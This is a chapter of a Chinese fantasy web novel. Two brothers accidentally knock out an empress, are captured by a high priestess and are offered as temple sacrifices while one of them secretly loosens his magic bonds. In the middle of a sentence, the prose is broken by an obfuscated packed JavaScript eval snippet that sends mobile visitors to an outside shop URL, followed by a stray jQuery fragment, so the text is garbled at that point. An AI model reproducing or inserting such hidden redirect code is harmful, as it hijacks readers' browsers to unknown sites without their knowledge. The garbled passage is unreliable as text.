“现在怎么办。”陆英行问应宣。
应宣真的非常想叹息。
“能怎么办,”他一边把一动不动的少女往床深处推,一边示意,“还照着刚才那样吧。”
十分钟前,他们俩按照娇媚少女的指令走进,谁知道她上手就扯应宣腰带——应宣还没来得及怎么样,陆英行就已经上手推了少女一把。
少女的额头在黄金床柱上一磕,人被弹到床上,如今在柔软的床榻上悄无声息。
应宣紧张试探她鼻息,还有气,只是晕过去了。
“干什么!”他瞪着弟弟。
陆英行无辜极了:“我真收着力气了!这个程度对奈芙来说只是挠痒!”
应宣更生气了,陆英行在哥哥的怒火中抿住了嘴,终于意识到自己找错了参照对象。
身强体壮的大恶魔如何能和身娇体弱的少女比啊!
“我习惯了,对不起。”他喃喃道歉。
但问题不是道歉就能解决的,何况,现在门口还传来了敲门声。
一开始还是彬彬有礼,随后见里头没有应答,就渐渐急迫起来。
“安洁莉娅,你还好吗?”
一个女声,声线清冷而庄严,却能听得出担忧。
真好啊!应宣翻了个大白眼,而陆英行还有脸问他怎么办?
这位晕倒的肯定就是安洁莉娅了,刚刚大概就是她叫的美人服务,现在来的可能就是她的亲友,或者是来送美人的——不,不会是来送美人的,来人语气和音调都显得与安洁莉娅亲昵,应当是个很有身份的人——那么还是亲友了,也许就是那位“洛耶”。
安洁莉娅大概还是个人物,三楼安静又清新,与楼下的喧闹完全不一样,空间一向是特权。守卫刚刚说这里有钱也进不来,可见她必定是个权贵,可能是个贵族小姐。
应宣不由自主想到了奈芙的做派,奈芙其实没有安洁莉娅那么矜贵,但那种上位者的态度是相似的。
总之,现在他们是不小心把一个本土贵族少女敲晕了。
好吧,既然是叫了美人来享乐,那他们只好客串一把了。
想必这位亲友也不好意思掀人家被子吧!
刚刚安洁莉娅因为脱应宣衣服被敲晕,现在陆英行看着应宣自己迅速脱了钻进被子里,还指着床下:“你躲好。”
“我进来了,安洁莉娅。”门外的女性已经因为等不到回应而直接推门而入。
没有得到召唤就进来,但会事先告知。应宣迅速评估她们的关系——亲密但有隐约的权力地位差距。
这位洛耶小姐对屋子非常熟悉,直奔密室,看到地上扔的衣衫也丝毫不惊讶,直接站在床前。
“怎么不说话。”她蹙眉。
陆英行趴在床底下,看到她脚上穿的是一双软靴,垂下的裙摆也是素净的银白,没有任何装饰。可是裙摆飘拂间,有隐约的香,沁人心脾。
应宣钻在被子里,此时稍微露出半张脸——他不确定这位洛耶认不认识送来的美人——隐藏在阴影里小声说:“她睡着啦。”
“放肆,”洛耶压低了声音呵斥应宣,“这里轮不到你说话!”
陆英行见到床底那双靴子向着床头移动,心中大急。
安洁莉娅额头上还有个包呢!
而此时洛耶已经站在床头,依然皱着眉:“我要掀被子了。”
她很明显是和安洁莉娅说的,但是安洁莉娅现在晕倒了,睡颜非常安详。
应宣心中盘算,实在不行也只好把洛耶也打晕。
然而洛耶居然跪下了,或者说,半蹲在床前。
“陛下,”她柔声说,“别闹脾气啦。你再这样,下次我就不陪你出来胡闹了。”
应宣和陆英行同时抽一口气。
也就是说陆英行刚来此地十分钟就打晕了这个国家的皇帝。
洛耶还在说:“三天后就是祭祀大典了,陛下只要露面就行,我可得主持典礼,祭品还在圣殿等我挑选,咱们快回去吧。”
“神没选中的,我让你随便选,可以吧?”
事态像陡坡上的小球那样无可遏制的下滑了,这是什么运气!这位小姐很可能就是刚刚人们说的大祭司吧?
但同时,应宣也意识到一件更危险的事情。
大祭司完全不介意他看到她们的互动,而被窝里的皇帝肯定是偷偷跑出来的。也就是说,大祭司是有办法让他闭嘴的。
囚禁?或者更简单一点,杀了他?
他还没反应过来,就看到大祭司身后有一个影子腾跃而起!
陆英行肯定也迅速意识到了这件事。
应宣闭上眼睛,感到了一阵无奈:没办法了,只能也把大祭司打晕了事。
可是下一秒,他眼前的大祭司消失了一瞬,再出现的时候,她在陆英行身后。
“大祭司不能亲自夺取性命,”那双琉璃灰的眼睛毫无感情的看陆英行,“但冒犯陛下罪无可恕。”
她一边说,一边平平伸出手。
她念念有词,拗口语言流出,屋内的月光陡然弯折,成为冰凉绳索,如蛇窜来,把毫无防备的应宣和陆英行串成一串捆在一起。
“你确实非常有魅力,但别试图魅惑我了,”她低下头,抬起应宣面孔,打量他,“难道你不知道大祭司有神赐福,不会被邪恶力量侵蚀吗?”
应宣想起奈芙告诫,她的力量在穿越时空后会被限制,遇到那个时空的本土神明可能会有麻烦。那么,他对上拥有本土神明力量的大祭司,在毫无防备的情况下,也会遇到麻烦了。
“确实美貌,那么,我将把你们送给神。”她宣判。
被子已经被掀开,皇帝脑袋上顶着一个大包躺在枕头上,大祭司打量了她一眼,终于出现了点情绪波动。
她伸手摸了摸那个红肿的包,轻轻按揉,而那个肿包渐渐消散,皇帝也睁开眼睛。
“啊,洛耶,”安洁莉娅迷迷糊糊的,“今天的美人好火辣哦。”
“你又和他们瞎胡闹了?我说了多少遍,随你怎样,但不能留下伤口!”洛耶第一万次皱眉了,“安洁莉娅,为了你的皇冠着想,不能再这么任性了!你知道那帮老家伙……”
“啊,我有吗……”安洁莉娅有点糊涂了,但随即挥挥手,“啊算了也许吧!”
“有你不就行了,”她抱住洛耶的腰,娇声道,“是神选中了我,大祭司一定会让神继续为我赐福吧。”
她指着应宣和陆英行:“给我留下他们吧,好祭司?”
她眨眨眼睛:“我是说,如果神没选中他们的话?”
洛耶跪下来,微微抬头仰视着安洁莉娅,而安洁莉娅双臂还圈着她脖子,绝不肯松手,显而易见打算撒娇耍赖了。
“好吧,好吧,”她的声音柔和起来,“但你下次不能再给我惹麻烦了。”
不可能,应宣看着她们俩,心想,绝对还有下次。
不过他的当务之急并非琢磨皇帝和大祭司的关系,大祭司吹了一声口哨,就有一群身着光辉铠甲的士兵进来了,看气势和楼下守卫完全不一样。
“把他们带走,”洛耶指着应宣和陆英行说,“这是给神的祭品。”
当晚他们就被蒙着眼睛带到了一处宽敞的暗室,被仔细的洗漱之后,就关在了暗室里,期间没有食物也没有水,手脚被那道月光束缚着,感觉好像两只清空肠胃等着上锅的大闸蟹。
他们的当务之急很明显了:在两人都无法挣脱月光锁的情况下,怎么逃跑。
洛耶说她不会夺取人性命,所以会把他们献给神,而安洁莉娅说如果神没选中他们,她要他们。也就是说,被神看中的人类祭品可能会失去性命。
他情不自禁想到奈芙——他们俩也算是奈芙的祭品,她会来救他们吗?
不,这样就显得他们太没用了。冷静点儿,应宣想,我得想个办法。
“我想我会有办法。”陆英行的声音在他身边响起来。
应宣吃惊的看着弟弟,而陆英行露出一个得意又腼腆的笑容。
“这个时空的日光,似乎没有完全抛弃我。”
应宣顺着陆英行的眼神看去,发现他身上的月光锁没有捆绑在他自己身上的那么粗壮。
“这几天我一直在尝试,虽然效率很低,但果然有用。”陆英行的双臂在束缚里轻轻扭转。在出发之前罗莎曾经提醒过他,利用太阳去增加光明之力的利用效率,来到这个时空之后,他虽然感觉到了这个时空的法则对外来者的力量的限制,但他仍然没有放弃。
在这个时空,月亮的光辉是否仍然来自对太阳的反射?他没有对哥哥说,只是自己默默尝试,从前天晚上到今天正午,得益于这两天热烈的阳光,他终于可以把绳索消融到能让自己稍微活动的地步。
运气很好,他对自己说,明天大典就要开始了,他衷心期待会是个好天气。
圣殿高大巍峨,美轮美奂,穹顶高耸直指天幕,从内部抬头仰望,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712904|207003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
高高天花板上的雕塑层叠交错如同精美蕾丝花边,内部镶嵌的明珠与信徒们供奉的香油蜡烛的火光照应,散发柔和辉光,仿佛神对信徒祈祷的回应。
洛耶站在祭台前,检查这次的祭品,神情冷漠。大贵族们献上了许多华美祭品,那些成堆的香膏珠宝,珍惜的香料美酒,指望神能回应他们,但洛耶的脚步匆匆走过,知道他们的期待又要落空。
这些,神已经收取的太多太多了,祂在倦怠的沉睡中,懒得向信徒们投来一瞥。就连美人,也许从第一个信徒献上人作为祭品的时候,神还有点兴趣,可是如今呢?
她的思绪飘到了三天前的那个夜晚,她虽然答应了安洁莉娅可以把那两个美人给他,但她心中仍然警惕,这两个人具有着超越凡人的力量,她不放心。
她抬眼瞥了一眼极其高大的神像,心中对祂祈祷:把他们带走吧,我神,别让他们影响安洁莉娅的生活。
“把祭品带过来吧。”她对等待着命令的白衣主教们吩咐道。
今天的天气真好,是个举办祭典的好天气,圣殿外的广场已经人满为患,守卫们试图维护秩序,但是每天都会发生点儿意外,死几个人。洛耶透过窗子看着如潮人群,感到今年可能又会死一些,这思绪只是一朵浮云,很快她就漠不关心的转过眼睛,继续想她自己的心事。
大贵族们已经去到了他们的专座,只要等祭品来齐,安洁莉娅就会到场,接着,祭典就可以开始了。
应宣和陆英行被蒙着眼睛带到了广场中心,穿着柔软丝滑的绸缎衣裳,置身于珠宝脂膏美酒香料之中,如果陆英行揭开眼罩,就会看到他的邻居是一头油光水量的焦糖色烤猪,那正是陆英行理想中的苹果派的颜色。
热烈的阳光洒在他们背上,月光绳索隐没在衣服里,人群们不知道,只会以为他们是自愿献祭的。
陆英行的汗水渗透出来,但不是因为炎热。
快点儿啊,陆英行!他从来没有如此催动和使用过他血脉里的光明之力,即使那时面对爱德华他也没有,但是如今生死攸关,他体内力量还被限制,他不得不这么做了。他甚至感到了体内脉络的形状,因为它们被催发的光明之力炙烤的疼痛。
这是个好兆头,奈芙告诉过他,想要把力量运用到极致就是会疼痛的,但是在那之后你受创的经脉愈合后,你就会更强大。
快点啊,陆英行!
洛耶看着天色,安洁莉娅是不会在正午赶来的,穿着全套礼服只会让她在烈日下晕倒。所有人都必须在这里挨着烈日等待她,但这正是君主的特权。
洛耶故意延长所有人受折磨的时间,为了让这些人都意识到人生有多么辛苦,但皇帝陛下是神选中的,她是神的宠儿,不必像他们这样受罪。
等到日晷的影子又挪移了几格,日头渐渐有了西沉的迹象,她才给安洁莉娅送信。今年的日头好晒,人群中已经被抬出去许多,贵族们也消耗了许多清凉饮料,但他们并不敢在此处质疑什么。
他们能有个阴凉的地方坐着就是得益于他们的供奉,庶民们只能在地上晒着,但他们还得来,毕竟,他们又没有供奉,还有什么别的方式让神知道他们的虔诚呢。
铃声和鼓声响起,二十四抬的辇车被雄壮的奴隶们抬着,缓缓入场。帘幕掀起来,安洁莉娅被侍从们簇拥着徐徐走上高台。圣殿门前的台阶太多,她总是走的很吃力,因此不由得抬头对洛耶露出孩子气的抱怨表情,但是洛耶没看她,她只好自己继续往上走,终于坐上了空置的王座。
她松了一口气,贵族们和庶民们也松了一口气,终于可以开始祭典了!
香油和雪松被倾倒进青铜大鼎,洛耶抬起手来,火焰轰然竖起,如同试图攻击猎物的蛇,发出嘶嘶声,向着祭品的方向飘过去。
火焰遮蔽了贵人们的视线,安洁莉娅在浓郁的香气和烟雾里打了几个喷嚏,然后就开始咳嗽,不得不用沾满了薰衣草水的手帕捂住口鼻。
熏死人了,她看了一眼洛耶,发现她没在看自己,就大逆不道的闭上眼睛,打算小憩一会儿。
她打算好了,反正神已经很久没有看中什么祭品了,她是肯定要把那两个美人带回去的。一对兄弟,火辣又美艳,至于他们是不是会伤害到她这点根本不在她考虑范围内——她可是皇帝啊!他们怎么会,怎么能伤害她呢?当然,情趣游戏就另说了。
所以,当惊呼声响起来的时候,安洁莉娅困惑的睁开眼睛。
发生什么事了?